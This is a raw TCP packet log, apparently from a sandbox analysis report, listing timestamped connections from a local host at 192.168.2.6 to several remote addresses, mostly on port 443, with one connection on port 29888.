Jan 10, 2025 00:51:43.060256958 CET	443	49897	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.061712027 CET	443	49897	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.061786890 CET	49897	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.064198017 CET	49897	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.064264059 CET	443	49897	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.064456940 CET	49897	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.064462900 CET	443	49897	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.067332029 CET	443	49893	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.115489006 CET	49897	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.118554115 CET	443	49887	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:43.118820906 CET	49887	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:43.118846893 CET	443	49887	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:43.119283915 CET	443	49887	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:43.119343996 CET	49887	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:43.120095968 CET	443	49887	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:43.120157003 CET	49887	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:43.120353937 CET	49887	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:43.120440960 CET	443	49887	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:43.120507002 CET	49887	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:43.129632950 CET	443	49890	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.129703999 CET	443	49890	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.130050898 CET	49890	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.130494118 CET	49890	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.130508900 CET	443	49890	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.135781050 CET	49906	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.135824919 CET	443	49906	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.135896921 CET	49906	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.136496067 CET	49906	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.136529922 CET	443	49906	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.161808014 CET	49887	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:43.161840916 CET	443	49887	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:43.163079977 CET	443	49889	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.163129091 CET	443	49889	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.163211107 CET	49889	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.163232088 CET	443	49889	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.163274050 CET	443	49889	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.163275957 CET	49889	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.163892984 CET	49889	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.164433956 CET	49889	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.164446115 CET	443	49889	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.171833992 CET	443	49899	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:43.172171116 CET	49899	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:43.172203064 CET	443	49899	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:43.173193932 CET	443	49899	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:43.173532963 CET	49899	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:43.173609972 CET	443	49899	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:43.173686028 CET	49899	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:43.177969933 CET	443	49891	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.178000927 CET	443	49891	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.178030968 CET	443	49891	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.178057909 CET	443	49891	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.178067923 CET	49891	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.178188086 CET	49891	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.179795980 CET	49891	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.179806948 CET	443	49891	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.195221901 CET	443	49894	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.195247889 CET	443	49894	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.195298910 CET	443	49894	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.195322990 CET	49894	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.195363045 CET	49894	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.196780920 CET	49894	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.196789980 CET	443	49894	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.197149992 CET	49907	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.197211027 CET	443	49907	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.197278976 CET	49907	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.198504925 CET	49907	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.198534966 CET	443	49907	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.206671953 CET	49887	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:43.215332031 CET	443	49899	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:43.234071016 CET	443	49892	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.234138012 CET	443	49892	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.234273911 CET	49892	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.235263109 CET	49892	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.235272884 CET	443	49892	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.235738993 CET	49908	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.235799074 CET	443	49908	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.235852957 CET	49908	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.236304998 CET	49908	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.236323118 CET	443	49908	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.286123991 CET	443	49893	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.286174059 CET	443	49893	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.286222935 CET	443	49893	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.286307096 CET	49893	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.286320925 CET	443	49893	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.286376953 CET	443	49893	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.286410093 CET	49893	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.286528111 CET	49893	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.288244009 CET	49893	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.288260937 CET	443	49893	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.317820072 CET	443	49897	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.317994118 CET	443	49897	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.318049908 CET	49897	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.318752050 CET	49897	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.318758965 CET	443	49897	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.441721916 CET	443	49902	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.442156076 CET	49902	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.442183018 CET	443	49902	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.442523003 CET	443	49902	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.442893028 CET	49902	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.442970037 CET	443	49902	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.443388939 CET	49902	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.487375021 CET	443	49902	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.603049994 CET	443	49899	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:43.603281975 CET	443	49899	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:43.603344917 CET	49899	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:43.603717089 CET	49899	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:43.603733063 CET	443	49899	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:43.603967905 CET	49899	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:43.603984118 CET	49899	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:43.652050972 CET	443	49898	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:43.652344942 CET	49898	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:43.652363062 CET	443	49898	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:43.652834892 CET	443	49898	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:43.652909040 CET	49898	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:43.653597116 CET	443	49898	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:43.653667927 CET	49898	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:43.654594898 CET	49898	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:43.654676914 CET	443	49898	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:43.654855967 CET	49898	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:43.654871941 CET	443	49898	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:43.697573900 CET	49898	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:43.701037884 CET	443	49902	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.701090097 CET	443	49902	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.701503038 CET	49902	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.701909065 CET	49902	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.701922894 CET	443	49902	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.846049070 CET	443	49906	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.846322060 CET	49906	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.846343040 CET	443	49906	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.846676111 CET	443	49906	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.846982002 CET	49906	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.847043037 CET	443	49906	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.847136974 CET	49906	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.891338110 CET	443	49906	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.897557020 CET	49906	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.900422096 CET	443	49887	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:43.900505066 CET	443	49887	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:43.900655031 CET	49887	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:43.901312113 CET	49887	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:43.901331902 CET	443	49887	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:43.916671038 CET	443	49907	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.916922092 CET	49907	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.916941881 CET	443	49907	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.918036938 CET	443	49907	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.918445110 CET	49907	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.918617010 CET	443	49907	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.918776989 CET	49907	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.923716068 CET	443	49908	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.924012899 CET	49908	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.924037933 CET	443	49908	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.925607920 CET	443	49908	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.925682068 CET	49908	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.925961971 CET	49908	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.926048040 CET	443	49908	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.926073074 CET	49908	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.960218906 CET	49907	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.960228920 CET	443	49907	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.967344999 CET	443	49908	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.975326061 CET	49908	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.975343943 CET	443	49908	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.022399902 CET	49908	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.054049015 CET	443	49898	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:44.054127932 CET	443	49898	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:44.054191113 CET	49898	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:44.054810047 CET	49898	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:44.054821968 CET	443	49898	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:44.072501898 CET	49914	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.072524071 CET	443	49914	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.072608948 CET	49914	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.072875023 CET	49914	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.072889090 CET	443	49914	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.108793974 CET	443	49906	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.108978033 CET	443	49906	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.109129906 CET	49906	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.114362955 CET	49906	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.114370108 CET	443	49906	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.130175114 CET	49915	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:44.130192041 CET	443	49915	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:44.130390882 CET	49915	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:44.133069992 CET	49915	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:44.133090019 CET	443	49915	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:44.174350977 CET	443	49907	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.174371004 CET	443	49907	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.174426079 CET	443	49907	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.174491882 CET	49907	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.174491882 CET	49907	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.175856113 CET	49907	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.175874949 CET	443	49907	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.181874037 CET	443	49908	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.181885958 CET	443	49908	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.181893110 CET	443	49908	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.181940079 CET	443	49908	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.181963921 CET	49908	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.182007074 CET	49908	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.183031082 CET	49908	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.183053017 CET	443	49908	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.753956079 CET	443	49914	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.754252911 CET	49914	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.754264116 CET	443	49914	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.754623890 CET	443	49914	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.754945040 CET	49914	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.755017042 CET	443	49914	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.755143881 CET	49914	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.795331001 CET	443	49914	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.991580009 CET	443	49914	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.991607904 CET	443	49914	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.991643906 CET	443	49914	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.991662979 CET	49914	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.991674900 CET	443	49914	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.991692066 CET	443	49914	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.991714954 CET	49914	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.991766930 CET	49914	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.993330956 CET	49914	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.993340969 CET	443	49914	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.996484041 CET	49923	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.996526003 CET	443	49923	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:44.996728897 CET	49923	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.996850014 CET	49923	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:44.996860027 CET	443	49923	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:45.028085947 CET	443	49915	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:45.028346062 CET	49915	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:45.028352976 CET	443	49915	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:45.029772997 CET	443	49915	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:45.029856920 CET	49915	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:45.032279015 CET	443	49915	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:45.032428980 CET	49915	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:45.032643080 CET	49915	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:45.032738924 CET	49915	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:45.032820940 CET	443	49915	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:45.084223032 CET	49915	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:45.084230900 CET	443	49915	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:45.131158113 CET	49915	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:45.646604061 CET	443	49915	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:45.646769047 CET	443	49915	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:45.647104979 CET	49915	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:45.647690058 CET	49915	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:45.647690058 CET	49915	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:45.647706985 CET	443	49915	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:45.647763968 CET	49915	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:45.693742990 CET	443	49923	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:45.694000006 CET	49923	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:45.694014072 CET	443	49923	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:45.694350958 CET	443	49923	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:45.694680929 CET	49923	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:45.694731951 CET	443	49923	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:45.694852114 CET	49923	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:45.735332966 CET	443	49923	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:45.933943987 CET	443	49923	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:45.933979034 CET	443	49923	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:45.934041977 CET	49923	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:45.934056044 CET	443	49923	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:45.934070110 CET	443	49923	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:45.934096098 CET	49923	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:45.934120893 CET	49923	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:45.935060024 CET	49923	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:45.935072899 CET	443	49923	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:52.825356960 CET	49972	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:52.825380087 CET	443	49972	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:52.825716019 CET	49972	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:52.826231003 CET	49972	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:52.826241970 CET	443	49972	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:53.609680891 CET	443	49972	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:53.609790087 CET	49972	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:53.614839077 CET	49972	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:53.614852905 CET	443	49972	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:53.615066051 CET	443	49972	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:53.617283106 CET	49972	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:53.617363930 CET	49972	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:53.617369890 CET	443	49972	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:53.617546082 CET	49972	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:53.659324884 CET	443	49972	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:53.787255049 CET	443	49972	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:53.787398100 CET	443	49972	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:53.787467003 CET	49972	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:53.787724018 CET	49972	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:53.787739992 CET	443	49972	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:14.686486006 CET	50106	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:14.686530113 CET	443	50106	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:14.686624050 CET	50106	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:14.687177896 CET	50106	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:14.687194109 CET	443	50106	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:15.479686022 CET	443	50106	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:15.479832888 CET	50106	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:15.481524944 CET	50106	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:15.481539965 CET	443	50106	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:15.481777906 CET	443	50106	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:15.483397961 CET	50106	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:15.483458042 CET	50106	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:15.483464003 CET	443	50106	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:15.483599901 CET	50106	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:15.527328014 CET	443	50106	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:15.653824091 CET	443	50106	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:15.653907061 CET	443	50106	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:15.653976917 CET	50106	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:15.654190063 CET	50106	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:15.654206991 CET	443	50106	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:22.459466934 CET	49768	29888	192.168.2.6	35.194.194.1
Jan 10, 2025 00:52:22.464385033 CET	29888	49768	35.194.194.1	192.168.2.6
Jan 10, 2025 00:52:30.523863077 CET	50109	443	192.168.2.6	142.250.186.164
Jan 10, 2025 00:52:30.523884058 CET	443	50109	142.250.186.164	192.168.2.6
Jan 10, 2025 00:52:30.523951054 CET	50109	443	192.168.2.6	142.250.186.164
Jan 10, 2025 00:52:30.524214983 CET	50109	443	192.168.2.6	142.250.186.164
Jan 10, 2025 00:52:30.524228096 CET	443	50109	142.250.186.164	192.168.2.6
Jan 10, 2025 00:52:31.160373926 CET	443	50109	142.250.186.164	192.168.2.6
Jan 10, 2025 00:52:31.160803080 CET	50109	443	192.168.2.6	142.250.186.164
Jan 10, 2025 00:52:31.160823107 CET	443	50109	142.250.186.164	192.168.2.6
Jan 10, 2025 00:52:31.161159039 CET	443	50109	142.250.186.164	192.168.2.6
Jan 10, 2025 00:52:31.161477089 CET	50109	443	192.168.2.6	142.250.186.164
Jan 10, 2025 00:52:31.161555052 CET	443	50109	142.250.186.164	192.168.2.6
Jan 10, 2025 00:52:31.209342957 CET	50109	443	192.168.2.6	142.250.186.164
Jan 10, 2025 00:52:41.098047972 CET	443	50109	142.250.186.164	192.168.2.6
Jan 10, 2025 00:52:41.098121881 CET	443	50109	142.250.186.164	192.168.2.6
Jan 10, 2025 00:52:41.098174095 CET	50109	443	192.168.2.6	142.250.186.164
Jan 10, 2025 00:52:42.445086002 CET	29888	49768	35.194.194.1	192.168.2.6
Jan 10, 2025 00:52:42.445168018 CET	29888	49768	35.194.194.1	192.168.2.6
Jan 10, 2025 00:52:42.445436001 CET	49768	29888	192.168.2.6	35.194.194.1
Jan 10, 2025 00:52:42.445436001 CET	49768	29888	192.168.2.6	35.194.194.1
Jan 10, 2025 00:52:42.450268984 CET	29888	49768	35.194.194.1	192.168.2.6
Jan 10, 2025 00:52:42.976486921 CET	50109	443	192.168.2.6	142.250.186.164
Jan 10, 2025 00:52:42.976502895 CET	443	50109	142.250.186.164	192.168.2.6
Jan 10, 2025 00:52:43.140235901 CET	50111	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:43.140285015 CET	443	50111	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:43.140377998 CET	50111	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:43.141052961 CET	50111	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:43.141064882 CET	443	50111	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:44.016028881 CET	443	50111	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:44.016115904 CET	50111	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:44.021358013 CET	50111	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:44.021390915 CET	443	50111	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:44.021711111 CET	443	50111	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:44.023885012 CET	50111	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:44.023976088 CET	50111	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:44.023988008 CET	443	50111	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:44.024195910 CET	50111	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:44.067336082 CET	443	50111	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:44.193692923 CET	443	50111	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:44.193909883 CET	443	50111	40.113.110.67	192.168.2.6
Jan 10, 2025 00:52:44.193967104 CET	50111	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:44.194200039 CET	50111	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:52:44.194225073 CET	443	50111	40.113.110.67	192.168.2.6

UDP Packets

